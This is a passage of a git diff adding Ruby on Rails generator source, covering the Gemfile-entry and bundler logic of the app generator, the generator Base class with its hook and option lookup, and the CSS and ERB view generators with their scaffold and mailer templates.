+                                          desc: "Path to file containing extra configuration options for rails command"
+
+        class_option :no_rc,              type: :boolean, default: false,
+                                          desc: "Skip loading of extra configuration options from .railsrc file"
+
+        class_option :help,               type: :boolean, aliases: "-h", group: :rails,
+                                          desc: "Show this help message and quit"
+      end
+
+      def initialize(*args)
+        @gem_filter    = lambda { |gem| true }
+        @extra_entries = []
+        super
+        convert_database_option_for_jruby
+      end
+
+    private
+
+      def gemfile_entry(name, *args) # :doc:
+        options = args.extract_options!
+        version = args.first
+        github = options[:github]
+        path   = options[:path]
+
+        if github
+          @extra_entries << GemfileEntry.github(name, github)
+        elsif path
+          @extra_entries << GemfileEntry.path(name, path)
+        else
+          @extra_entries << GemfileEntry.version(name, version)
+        end
+        self
+      end
+
+      def gemfile_entries # :doc:
+        [rails_gemfile_entry,
+         database_gemfile_entry,
+         webserver_gemfile_entry,
+         assets_gemfile_entry,
+         webpacker_gemfile_entry,
+         javascript_gemfile_entry,
+         jbuilder_gemfile_entry,
+         psych_gemfile_entry,
+         cable_gemfile_entry,
+         @extra_entries].flatten.find_all(&@gem_filter)
+      end
+
+      def add_gem_entry_filter # :doc:
+        @gem_filter = lambda { |next_filter, entry|
+          yield(entry) && next_filter.call(entry)
+        }.curry[@gem_filter]
+      end
+
+      def builder # :doc:
+        @builder ||= begin
+          builder_class = get_builder_class
+          builder_class.include(ActionMethods)
+          builder_class.new(self)
+        end
+      end
+
+      def build(meth, *args) # :doc:
+        builder.send(meth, *args) if builder.respond_to?(meth)
+      end
+
+      def create_root # :doc:
+        valid_const?
+
+        empty_directory "."
+        FileUtils.cd(destination_root) unless options[:pretend]
+      end
+
+      def apply_rails_template # :doc:
+        apply rails_template if rails_template
+      rescue Thor::Error, LoadError, Errno::ENOENT => e
+        raise Error, "The template [#{rails_template}] could not be loaded. Error: #{e}"
+      end
+
+      def set_default_accessors! # :doc:
+        self.destination_root = File.expand_path(app_path, destination_root)
+        self.rails_template = \
+          case options[:template]
+          when /^https?:\/\//
+            options[:template]
+          when String
+            File.expand_path(options[:template], Dir.pwd)
+          else
+            options[:template]
+          end
+      end
+
+      def database_gemfile_entry # :doc:
+        return [] if options[:skip_active_record]
+        gem_name, gem_version = gem_for_database
+        GemfileEntry.version gem_name, gem_version,
+                            "Use #{options[:database]} as the database for Active Record"
+      end
+
+      def webserver_gemfile_entry # :doc:
+        return [] if options[:skip_puma]
+        comment = "Use Puma as the app server"
+        GemfileEntry.new("puma", "~> 3.7", comment)
+      end
+
+      def include_all_railties? # :doc:
+        options.values_at(:skip_active_record, :skip_action_mailer, :skip_test, :skip_sprockets, :skip_action_cable).none?
+      end
+
+      def comment_if(value) # :doc:
+        options[value] ? "# " : ""
+      end
+
+      def keeps? # :doc:
+        !options[:skip_keeps]
+      end
+
+      def sqlite3? # :doc:
+        !options[:skip_active_record] && options[:database] == "sqlite3"
+      end
+
+      class GemfileEntry < Struct.new(:name, :version, :comment, :options, :commented_out)
+        def initialize(name, version, comment, options = {}, commented_out = false)
+          super
+        end
+
+        def self.github(name, github, branch = nil, comment = nil)
+          if branch
+            new(name, nil, comment, github: github, branch: branch)
+          else
+            new(name, nil, comment, github: github)
+          end
+        end
+
+        def self.version(name, version, comment = nil)
+          new(name, version, comment)
+        end
+
+        def self.path(name, path, comment = nil)
+          new(name, nil, comment, path: path)
+        end
+
+        def version
+          version = super
+
+          if version.is_a?(Array)
+            version.join("', '")
+          else
+            version
+          end
+        end
+      end
+
+      def rails_gemfile_entry
+        dev_edge_common = [
+          GemfileEntry.github("arel", "rails/arel"),
+        ]
+        if options.dev?
+          [
+            GemfileEntry.path("rails", Rails::Generators::RAILS_DEV_PATH)
+          ] + dev_edge_common
+        elsif options.edge?
+          [
+            GemfileEntry.github("rails", "rails/rails")
+          ] + dev_edge_common
+        else
+          [GemfileEntry.version("rails",
+                            rails_version_specifier,
+                            "Bundle edge Rails instead: gem 'rails', github: 'rails/rails'")]
+        end
+      end
+
+      def rails_version_specifier(gem_version = Rails.gem_version)
+        if gem_version.segments.size == 3 || gem_version.release.segments.size == 3
+          # ~> 1.2.3
+          # ~> 1.2.3.pre4
+          "~> #{gem_version}"
+        else
+          # ~> 1.2.3, >= 1.2.3.4
+          # ~> 1.2.3, >= 1.2.3.4.pre5
+          patch = gem_version.segments[0, 3].join(".")
+          ["~> #{patch}", ">= #{gem_version}"]
+        end
+      end
+
+      def gem_for_database
+        # %w( mysql postgresql sqlite3 oracle frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql )
+        case options[:database]
+        when "mysql"          then ["mysql2", [">= 0.3.18", "< 0.5"]]
+        when "postgresql"     then ["pg", ["~> 0.18"]]
+        when "oracle"         then ["activerecord-oracle_enhanced-adapter", nil]
+        when "frontbase"      then ["ruby-frontbase", nil]
+        when "sqlserver"      then ["activerecord-sqlserver-adapter", nil]
+        when "jdbcmysql"      then ["activerecord-jdbcmysql-adapter", nil]
+        when "jdbcsqlite3"    then ["activerecord-jdbcsqlite3-adapter", nil]
+        when "jdbcpostgresql" then ["activerecord-jdbcpostgresql-adapter", nil]
+        when "jdbc"           then ["activerecord-jdbc-adapter", nil]
+        else [options[:database], nil]
+        end
+      end
+
+      def convert_database_option_for_jruby
+        if defined?(JRUBY_VERSION)
+          case options[:database]
+          when "postgresql" then options[:database].replace "jdbcpostgresql"
+          when "mysql"      then options[:database].replace "jdbcmysql"
+          when "sqlite3"    then options[:database].replace "jdbcsqlite3"
+          end
+        end
+      end
+
+      def assets_gemfile_entry
+        return [] if options[:skip_sprockets]
+
+        gems = []
+        gems << GemfileEntry.version("sass-rails", "~> 5.0",
+                                     "Use SCSS for stylesheets")
+
+        if !options[:skip_javascript]
+          gems << GemfileEntry.version("uglifier",
+                                     ">= 1.3.0",
+                                     "Use Uglifier as compressor for JavaScript assets")
+        end
+
+        gems
+      end
+
+      def webpacker_gemfile_entry
+        return [] unless options[:webpack]
+
+        comment = "Transpile app-like JavaScript. Read more: https://github.com/rails/webpacker"
+        GemfileEntry.new "webpacker", nil, comment
+      end
+
+      def jbuilder_gemfile_entry
+        comment = "Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder"
+        GemfileEntry.new "jbuilder", "~> 2.5", comment, {}, options[:api]
+      end
+
+      def coffee_gemfile_entry
+        GemfileEntry.version "coffee-rails", "~> 4.2", "Use CoffeeScript for .coffee assets and views"
+      end
+
+      def javascript_gemfile_entry
+        if options[:skip_javascript] || options[:skip_sprockets]
+          []
+        else
+          gems = [javascript_runtime_gemfile_entry]
+          gems << coffee_gemfile_entry unless options[:skip_coffee]
+
+          unless options[:skip_turbolinks]
+            gems << GemfileEntry.version("turbolinks", "~> 5",
+             "Turbolinks makes navigating your web application faster. Read more: https://github.com/turbolinks/turbolinks")
+          end
+
+          gems
+        end
+      end
+
+      def javascript_runtime_gemfile_entry
+        comment = "See https://github.com/rails/execjs#readme for more supported runtimes"
+        if defined?(JRUBY_VERSION)
+          GemfileEntry.version "therubyrhino", nil, comment
+        else
+          GemfileEntry.new "mini_racer", nil, comment, { platforms: :ruby }, true
+        end
+      end
+
+      def psych_gemfile_entry
+        return [] unless defined?(Rubinius)
+
+        comment = "Use Psych as the YAML engine, instead of Syck, so serialized " \
+                  "data can be read safely from different rubies (see http://git.io/uuLVag)"
+        GemfileEntry.new("psych", "~> 2.0", comment, platforms: :rbx)
+      end
+
+      def cable_gemfile_entry
+        return [] if options[:skip_action_cable]
+        comment = "Use Redis adapter to run Action Cable in production"
+        gems = []
+        gems << GemfileEntry.new("redis", "~> 3.0", comment, {}, true)
+        gems
+      end
+
+      def bundle_command(command)
+        say_status :run, "bundle #{command}"
+
+        # We are going to shell out rather than invoking Bundler::CLI.new(command)
+        # because `rails new` loads the Thor gem and on the other hand bundler uses
+        # its own vendored Thor, which could be a different version. Running both
+        # things in the same process is a recipe for a night with paracetamol.
+        #
+        # We unset temporary bundler variables to load proper bundler and Gemfile.
+        #
+        # Thanks to James Tucker for the Gem tricks involved in this call.
+        _bundle_command = Gem.bin_path("bundler", "bundle")
+
+        require "bundler"
+        Bundler.with_clean_env do
+          full_command = %Q["#{Gem.ruby}" "#{_bundle_command}" #{command}]
+          if options[:quiet]
+            system(full_command, out: File::NULL)
+          else
+            system(full_command)
+          end
+        end
+      end
+
+      def bundle_install?
+        !(options[:skip_gemfile] || options[:skip_bundle] || options[:pretend])
+      end
+
+      def spring_install?
+        !options[:skip_spring] && !options.dev? && Process.respond_to?(:fork) && !RUBY_PLATFORM.include?("cygwin")
+      end
+
+      def depends_on_system_test?
+        !(options[:skip_system_test] || options[:skip_test] || options[:api])
+      end
+
+      def depend_on_listen?
+        !options[:skip_listen] && os_supports_listen_out_of_the_box?
+      end
+
+      def os_supports_listen_out_of_the_box?
+        RbConfig::CONFIG["host_os"] =~ /darwin|linux/
+      end
+
+      def run_bundle
+        bundle_command("install") if bundle_install?
+      end
+
+      def run_webpack
+        if !(webpack = options[:webpack]).nil?
+          rails_command "webpacker:install"
+          rails_command "webpacker:install:#{webpack}" unless webpack == "webpack"
+        end
+      end
+
+      def generate_spring_binstubs
+        if bundle_install? && spring_install?
+          bundle_command("exec spring binstub --all")
+        end
+      end
+
+      def empty_directory_with_keep_file(destination, config = {})
+        empty_directory(destination, config)
+        keep_file(destination)
+      end
+
+      def keep_file(destination)
+        create_file("#{destination}/.keep") if keeps?
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
new file mode 100644
index 0000000000..9705af8b40
--- /dev/null
+++ b/railties/lib/rails/generators/base.rb
@@ -0,0 +1,415 @@
+begin
+  require "thor/group"
+rescue LoadError
+  puts "Thor is not available.\nIf you ran this command from a git checkout " \
+       "of Rails, please make sure thor is installed,\nand run this command " \
+       "as `ruby #{$0} #{(ARGV | ['--dev']).join(" ")}`"
+  exit
+end
+
+module Rails
+  module Generators
+    class Error < Thor::Error # :nodoc:
+    end
+
+    class Base < Thor::Group
+      include Thor::Actions
+      include Rails::Generators::Actions
+
+      class_option :skip_namespace, type: :boolean, default: false,
+                                    desc: "Skip namespace (affects only isolated applications)"
+
+      add_runtime_options!
+      strict_args_position!
+
+      # Returns the source root for this generator using default_source_root as default.
+      def self.source_root(path = nil)
+        @_source_root = path if path
+        @_source_root ||= default_source_root
+      end
+
+      # Tries to get the description from a USAGE file one folder above the source
+      # root otherwise uses a default description.
+      def self.desc(description = nil)
+        return super if description
+
+        @desc ||= if usage_path
+          ERB.new(File.read(usage_path)).result(binding)
+        else
+          "Description:\n    Create #{base_name.humanize.downcase} files for #{generator_name} generator."
+        end
+      end
+
+      # Convenience method to get the namespace from the class name. It's the
+      # same as Thor default except that the Generator at the end of the class
+      # is removed.
+      def self.namespace(name = nil)
+        return super if name
+        @namespace ||= super.sub(/_generator$/, "").sub(/:generators:/, ":")
+      end
+
+      # Convenience method to hide this generator from the available ones when
+      # running rails generator command.
+      def self.hide!
+        Rails::Generators.hide_namespace(namespace)
+      end
+
+      # Invoke a generator based on the value supplied by the user to the
+      # given option named "name". A class option is created when this method
+      # is invoked and you can set a hash to customize it.
+      #
+      # ==== Examples
+      #
+      #   module Rails::Generators
+      #     class ControllerGenerator < Base
+      #       hook_for :test_framework, aliases: "-t"
+      #     end
+      #   end
+      #
+      # The example above will create a test framework option and will invoke
+      # a generator based on the user supplied value.
+      #
+      # For example, if the user invoke the controller generator as:
+      #
+      #   rails generate controller Account --test-framework=test_unit
+      #
+      # The controller generator will then try to invoke the following generators:
+      #
+      #   "rails:test_unit", "test_unit:controller", "test_unit"
+      #
+      # Notice that "rails:generators:test_unit" could be loaded as well, what
+      # Rails looks for is the first and last parts of the namespace. This is what
+      # allows any test framework to hook into Rails as long as it provides any
+      # of the hooks above.
+      #
+      # ==== Options
+      #
+      # The first and last part used to find the generator to be invoked are
+      # guessed based on class invokes hook_for, as noticed in the example above.
+      # This can be customized with two options: :in and :as.
+      #
+      # Let's suppose you are creating a generator that needs to invoke the
+      # controller generator from test unit. Your first attempt is:
+      #
+      #   class AwesomeGenerator < Rails::Generators::Base
+      #     hook_for :test_framework
+      #   end
+      #
+      # The lookup in this case for test_unit as input is:
+      #
+      #   "test_unit:awesome", "test_unit"
+      #
+      # Which is not the desired lookup. You can change it by providing the
+      # :as option:
+      #
+      #   class AwesomeGenerator < Rails::Generators::Base
+      #     hook_for :test_framework, as: :controller
+      #   end
+      #
+      # And now it will look up at:
+      #
+      #   "test_unit:controller", "test_unit"
+      #
+      # Similarly, if you want it to also look up in the rails namespace, you
+      # just need to provide the :in value:
+      #
+      #   class AwesomeGenerator < Rails::Generators::Base
+      #     hook_for :test_framework, in: :rails, as: :controller
+      #   end
+      #
+      # And the lookup is exactly the same as previously:
+      #
+      #   "rails:test_unit", "test_unit:controller", "test_unit"
+      #
+      # ==== Switches
+      #
+      # All hooks come with switches for user interface. If you do not want
+      # to use any test framework, you can do:
+      #
+      #   rails generate controller Account --skip-test-framework
+      #
+      # Or similarly:
+      #
+      #   rails generate controller Account --no-test-framework
+      #
+      # ==== Boolean hooks
+      #
+      # In some cases, you may want to provide a boolean hook. For example, webrat
+      # developers might want to have webrat available on controller generator.
+      # This can be achieved as:
+      #
+      #   Rails::Generators::ControllerGenerator.hook_for :webrat, type: :boolean
+      #
+      # Then, if you want webrat to be invoked, just supply:
+      #
+      #   rails generate controller Account --webrat
+      #
+      # The hooks lookup is similar as above:
+      #
+      #   "rails:generators:webrat", "webrat:generators:controller", "webrat"
+      #
+      # ==== Custom invocations
+      #
+      # You can also supply a block to hook_for to customize how the hook is
+      # going to be invoked. The block receives two arguments, an instance
+      # of the current class and the class to be invoked.
+      #
+      # For example, in the resource generator, the controller should be invoked
+      # with a pluralized class name. But by default it is invoked with the same
+      # name as the resource generator, which is singular. To change this, we
+      # can give a block to customize how the controller can be invoked.
+      #
+      #   hook_for :resource_controller do |instance, controller|
+      #     instance.invoke controller, [ instance.name.pluralize ]
+      #   end
+      #
+      def self.hook_for(*names, &block)
+        options = names.extract_options!
+        in_base = options.delete(:in) || base_name
+        as_hook = options.delete(:as) || generator_name
+
+        names.each do |name|
+          unless class_options.key?(name)
+            defaults = if options[:type] == :boolean
+              {}
+            elsif [true, false].include?(default_value_for_option(name, options))
+              { banner: "" }
+            else
+              { desc: "#{name.to_s.humanize} to be invoked", banner: "NAME" }
+            end
+
+            class_option(name, defaults.merge!(options))
+          end
+
+          hooks[name] = [ in_base, as_hook ]
+          invoke_from_option(name, options, &block)
+        end
+      end
+
+      # Remove a previously added hook.
+      #
+      #   remove_hook_for :orm
+      def self.remove_hook_for(*names)
+        remove_invocation(*names)
+
+        names.each do |name|
+          hooks.delete(name)
+        end
+      end
+
+      # Make class option aware of Rails::Generators.options and Rails::Generators.aliases.
+      def self.class_option(name, options = {}) #:nodoc:
+        options[:desc]    = "Indicates when to generate #{name.to_s.humanize.downcase}" unless options.key?(:desc)
+        options[:aliases] = default_aliases_for_option(name, options)
+        options[:default] = default_value_for_option(name, options)
+        super(name, options)
+      end
+
+      # Returns the default source root for a given generator. This is used internally
+      # by rails to set its generators source root. If you want to customize your source
+      # root, you should use source_root.
+      def self.default_source_root
+        return unless base_name && generator_name
+        return unless default_generator_root
+        path = File.join(default_generator_root, "templates")
+        path if File.exist?(path)
+      end
+
+      # Returns the base root for a common set of generators. This is used to dynamically
+      # guess the default source root.
+      def self.base_root
+        __dir__
+      end
+
+      # Cache source root and add lib/generators/base/generator/templates to
+      # source paths.
+      def self.inherited(base) #:nodoc:
+        super
+
+        # Invoke source_root so the default_source_root is set.
+        base.source_root
+
+        if base.name && base.name !~ /Base$/
+          Rails::Generators.subclasses << base
+
+          Rails::Generators.templates_path.each do |path|
+            if base.name.include?("::")
+              base.source_paths << File.join(path, base.base_name, base.generator_name)
+            else
+              base.source_paths << File.join(path, base.generator_name)
+            end
+          end
+        end
+      end
+
+      private
+
+        # Check whether the given class names are already taken by user
+        # application or Ruby on Rails.
+        def class_collisions(*class_names)
+          return unless behavior == :invoke
+
+          class_names.flatten.each do |class_name|
+            class_name = class_name.to_s
+            next if class_name.strip.empty?
+
+            # Split the class from its module nesting
+            nesting = class_name.split("::")
+            last_name = nesting.pop
+            last = extract_last_module(nesting)
+
+            if last && last.const_defined?(last_name.camelize, false)
+              raise Error, "The name '#{class_name}' is either already used in your application " \
+                           "or reserved by Ruby on Rails. Please choose an alternative and run "  \
+                           "this generator again."
+            end
+          end
+        end
+
+        # Takes in an array of nested modules and extracts the last module
+        def extract_last_module(nesting) # :doc:
+          nesting.inject(Object) do |last_module, nest|
+            break unless last_module.const_defined?(nest, false)
+            last_module.const_get(nest)
+          end
+        end
+
+        # Wrap block with namespace of current application
+        # if namespace exists and is not skipped
+        def module_namespacing(&block) # :doc:
+          content = capture(&block)
+          content = wrap_with_namespace(content) if namespaced?
+          concat(content)
+        end
+
+        def indent(content, multiplier = 2) # :doc:
+          spaces = " " * multiplier
+          content.each_line.map { |line| line.blank? ? line : "#{spaces}#{line}" }.join
+        end
+
+        def wrap_with_namespace(content) # :doc:
+          content = indent(content).chomp
+          "module #{namespace.name}\n#{content}\nend\n"
+        end
+
+        def namespace # :doc:
+          Rails::Generators.namespace
+        end
+
+        def namespaced? # :doc:
+          !options[:skip_namespace] && namespace
+        end
+
+        def namespace_dirs
+          @namespace_dirs ||= namespace.name.split("::").map(&:underscore)
+        end
+
+        def namespaced_path # :doc:
+          @namespaced_path ||= namespace_dirs.join("/")
+        end
+
+        # Use Rails default banner.
+        def self.banner # :doc:
+          "rails generate #{namespace.sub(/^rails:/, '')} #{arguments.map(&:usage).join(' ')} [options]".gsub(/\s+/, " ")
+        end
+
+        # Sets the base_name taking into account the current class namespace.
+        def self.base_name # :doc:
+          @base_name ||= begin
+            if base = name.to_s.split("::").first
+              base.underscore
+            end
+          end
+        end
+
+        # Removes the namespaces and get the generator name. For example,
+        # Rails::Generators::ModelGenerator will return "model" as generator name.
+        def self.generator_name # :doc:
+          @generator_name ||= begin
+            if generator = name.to_s.split("::").last
+              generator.sub!(/Generator$/, "")
+              generator.underscore
+            end
+          end
+        end
+
+        # Returns the default value for the option name given doing a lookup in
+        # Rails::Generators.options.
+        def self.default_value_for_option(name, options) # :doc:
+          default_for_option(Rails::Generators.options, name, options, options[:default])
+        end
+
+        # Returns default aliases for the option name given doing a lookup in
+        # Rails::Generators.aliases.
+        def self.default_aliases_for_option(name, options) # :doc:
+          default_for_option(Rails::Generators.aliases, name, options, options[:aliases])
+        end
+
+        # Returns default for the option name given doing a lookup in config.
+        def self.default_for_option(config, name, options, default) # :doc:
+          if generator_name && (c = config[generator_name.to_sym]) && c.key?(name)
+            c[name]
+          elsif base_name && (c = config[base_name.to_sym]) && c.key?(name)
+            c[name]
+          elsif config[:rails].key?(name)
+            config[:rails][name]
+          else
+            default
+          end
+        end
+
+        # Keep hooks configuration that are used on prepare_for_invocation.
+        def self.hooks #:nodoc:
+          @hooks ||= from_superclass(:hooks, {})
+        end
+
+        # Prepare class invocation to search on Rails namespace if a previous
+        # added hook is being used.
+        def self.prepare_for_invocation(name, value) #:nodoc:
+          return super unless value.is_a?(String) || value.is_a?(Symbol)
+
+          if value && constants = hooks[name]
+            value = name if TrueClass === value
+            Rails::Generators.find_by_namespace(value, *constants)
+          elsif klass = Rails::Generators.find_by_namespace(value)
+            klass
+          else
+            super
+          end
+        end
+
+        # Small macro to add ruby as an option to the generator with proper
+        # default value plus an instance helper method called shebang.
+        def self.add_shebang_option! # :doc:
+          class_option :ruby, type: :string, aliases: "-r", default: Thor::Util.ruby_command,
+                              desc: "Path to the Ruby binary of your choice", banner: "PATH"
+
+          no_tasks {
+            define_method :shebang do
+              @shebang ||= begin
+                command = if options[:ruby] == Thor::Util.ruby_command
+                  "/usr/bin/env #{File.basename(Thor::Util.ruby_command)}"
+                else
+                  options[:ruby]
+                end
+                "#!#{command}"
+              end
+            end
+          }
+        end
+
+        def self.usage_path # :doc:
+          paths = [
+            source_root && File.expand_path("../USAGE", source_root),
+            default_generator_root && File.join(default_generator_root, "USAGE")
+          ]
+          paths.compact.detect { |path| File.exist? path }
+        end
+
+        def self.default_generator_root # :doc:
+          path = File.expand_path(File.join(base_name, generator_name), base_root)
+          path if File.exist?(path)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/css/assets/assets_generator.rb b/railties/lib/rails/generators/css/assets/assets_generator.rb
new file mode 100644
index 0000000000..40f3bb3c70
--- /dev/null
+++ b/railties/lib/rails/generators/css/assets/assets_generator.rb
@@ -0,0 +1,13 @@
+require_relative "../../named_base"
+
+module Css # :nodoc:
+  module Generators # :nodoc:
+    class AssetsGenerator < Rails::Generators::NamedBase # :nodoc:
+      source_root File.expand_path("templates", __dir__)
+
+      def copy_stylesheet
+        copy_file "stylesheet.css", File.join("app/assets/stylesheets", class_path, "#{file_name}.css")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/css/assets/templates/stylesheet.css b/railties/lib/rails/generators/css/assets/templates/stylesheet.css
new file mode 100644
index 0000000000..afad32db02
--- /dev/null
+++ b/railties/lib/rails/generators/css/assets/templates/stylesheet.css
@@ -0,0 +1,4 @@
+/*
+  Place all the styles related to the matching controller here.
+  They will automatically be included in application.css.
+*/
diff --git a/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb
new file mode 100644
index 0000000000..b8c72828a1
--- /dev/null
+++ b/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb
@@ -0,0 +1,16 @@
+require_relative "../../named_base"
+
+module Css # :nodoc:
+  module Generators # :nodoc:
+    class ScaffoldGenerator < Rails::Generators::NamedBase # :nodoc:
+      # In order to allow the Sass generators to pick up the default Rails CSS and
+      # transform it, we leave it in a standard location for the CSS stylesheet
+      # generators to handle. For the simple, default case, just copy it over.
+      def copy_stylesheet
+        dir = Rails::Generators::ScaffoldGenerator.source_root
+        file = File.join(dir, "scaffold.css")
+        create_file "app/assets/stylesheets/scaffold.css", File.read(file)
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/erb.rb b/railties/lib/rails/generators/erb.rb
new file mode 100644
index 0000000000..5314c42e46
--- /dev/null
+++ b/railties/lib/rails/generators/erb.rb
@@ -0,0 +1,25 @@
+require_relative "named_base"
+
+module Erb # :nodoc:
+  module Generators # :nodoc:
+    class Base < Rails::Generators::NamedBase #:nodoc:
+      private
+
+        def formats
+          [format]
+        end
+
+        def format
+          :html
+        end
+
+        def handler
+          :erb
+        end
+
+        def filename_with_extensions(name, file_format = format)
+          [name, file_format, handler].compact.join(".")
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/erb/controller/controller_generator.rb b/railties/lib/rails/generators/erb/controller/controller_generator.rb
new file mode 100644
index 0000000000..fb8222f654
--- /dev/null
+++ b/railties/lib/rails/generators/erb/controller/controller_generator.rb
@@ -0,0 +1,22 @@
+require_relative "../../erb"
+
+module Erb # :nodoc:
+  module Generators # :nodoc:
+    class ControllerGenerator < Base # :nodoc:
+      argument :actions, type: :array, default: [], banner: "action action"
+
+      def copy_view_files
+        base_path = File.join("app/views", class_path, file_name)
+        empty_directory base_path
+
+        actions.each do |action|
+          @action = action
+          formats.each do |format|
+            @path = File.join(base_path, filename_with_extensions(action, format))
+            template filename_with_extensions(:view, format), @path
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/erb/controller/templates/view.html.erb b/railties/lib/rails/generators/erb/controller/templates/view.html.erb
new file mode 100644
index 0000000000..cd54d13d83
--- /dev/null
+++ b/railties/lib/rails/generators/erb/controller/templates/view.html.erb
@@ -0,0 +1,2 @@
+<h1><%= class_name %>#<%= @action %></h1>
+<p>Find me in <%= @path %></p>
diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
new file mode 100644
index 0000000000..53dd3289d4
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
@@ -0,0 +1,40 @@
+require_relative "../../erb"
+
+module Erb # :nodoc:
+  module Generators # :nodoc:
+    class MailerGenerator < Base # :nodoc:
+      argument :actions, type: :array, default: [], banner: "method method"
+
+      def copy_view_files
+        view_base_path = File.join("app/views", class_path, file_name + "_mailer")
+        empty_directory view_base_path
+
+        if behavior == :invoke
+          formats.each do |format|
+            layout_path = File.join("app/views/layouts", class_path, filename_with_extensions("mailer", format))
+            template filename_with_extensions(:layout, format), layout_path unless File.exist?(layout_path)
+          end
+        end
+
+        actions.each do |action|
+          @action = action
+
+          formats.each do |format|
+            @path = File.join(view_base_path, filename_with_extensions(action, format))
+            template filename_with_extensions(:view, format), @path
+          end
+        end
+      end
+
+      private
+
+        def formats
+          [:text, :html]
+        end
+
+        def file_name
+          @_file_name ||= super.gsub(/_mailer/i, "")
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb.tt b/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb.tt
new file mode 100644
index 0000000000..55f3675d49
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/layout.html.erb.tt
@@ -0,0 +1,13 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <style>
+      /* Email styles need to be inline */
+    </style>
+  </head>
+
+  <body>
+    <%%= yield %>
+  </body>
+</html>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb.tt b/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb.tt
new file mode 100644
index 0000000000..6363733e6e
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/layout.text.erb.tt
@@ -0,0 +1 @@
+<%%= yield %>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.html.erb b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
new file mode 100644
index 0000000000..b5045671b3
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
@@ -0,0 +1,5 @@
+<h1><%= class_name %>#<%= @action %></h1>
+
+<p>
+  <%%= @greeting %>, find me in <%= @path %>
+</p>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
new file mode 100644
index 0000000000..342285df19
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
@@ -0,0 +1,3 @@
+<%= class_name %>#<%= @action %>
+
+<%%= @greeting %>, find me in <%= @path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
new file mode 100644
index 0000000000..0929425137
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
@@ -0,0 +1,31 @@
+require_relative "../../erb"
+require_relative "../../resource_helpers"
+
+module Erb # :nodoc:
+  module Generators # :nodoc:
+    class ScaffoldGenerator < Base # :nodoc:
+      include Rails::Generators::ResourceHelpers
+
+      argument :attributes, type: :array, default: [], banner: "field:type field:type"
+
+      def create_root_folder
+        empty_directory File.join("app/views", controller_file_path)
+      end
+
+      def copy_view_files
+        available_views.each do |view|
+          formats.each do |format|
+            filename = filename_with_extensions(view, format)
+            template filename, File.join("app/views", controller_file_path, filename)
+          end
+        end
+      end
+
+    private
+
+      def available_views
+        %w(index edit show new _form)
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
new file mode 100644
index 0000000000..4f2e84f924
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
@@ -0,0 +1,34 @@
+<%%= form_with(model: <%= singular_table_name %>, local: true) do |form| %>
+  <%% if <%= singular_table_name %>.errors.any? %>
+    <div id="error_explanation">
+      <h2><%%= pluralize(<%= singular_table_name %>.errors.count, "error") %> prohibited this <%= singular_table_name %> from being saved:</h2>
+
+      <ul>
+      <%% <%= singular_table_name %>.errors.full_messages.each do |message| %>
+        <li><%%= message %></li>
+      <%% end %>
+      </ul>
+    </div>
+  <%% end %>
+
+<% attributes.each do |attribute| -%>
+  <div class="field">
+<% if attribute.password_digest? -%>
+    <%%= form.label :password %>
+    <%%= form.password_field :password, id: :<%= field_id(:password) %> %>
+  </div>
+
+  <div class="field">
+    <%%= form.label :password_confirmation %>
+    <%%= form.password_field :password_confirmation, id: :<%= field_id(:password_confirmation) %> %>
+<% else -%>
+    <%%= form.label :<%= attribute.column_name %> %>
+    <%%= form.<%= attribute.field_type %> :<%= attribute.column_name %>, id: :<%= field_id(attribute.column_name) %> %>
+<% end -%>
+  </div>
+
+<% end -%>
+  <div class="actions">
+    <%%= form.submit %>
+  </div>
+<%% end %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
new file mode 100644
index 0000000000..81329473d9
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
@@ -0,0 +1,6 @@
+<h1>Editing <%= singular_table_name.titleize %></h1>
+
+<%%= render 'form', <%= singular_table_name %>: @<%= singular_table_name %> %>
+
+<%%= link_to 'Show', @<%= singular_table_name %> %> |
+<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
new file mode 100644
index 0000000000..5f4904fee1
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
@@ -0,0 +1,31 @@
+<p id="notice"><%%= notice %></p>
+
+<h1><%= plural_table_name.titleize %></h1>
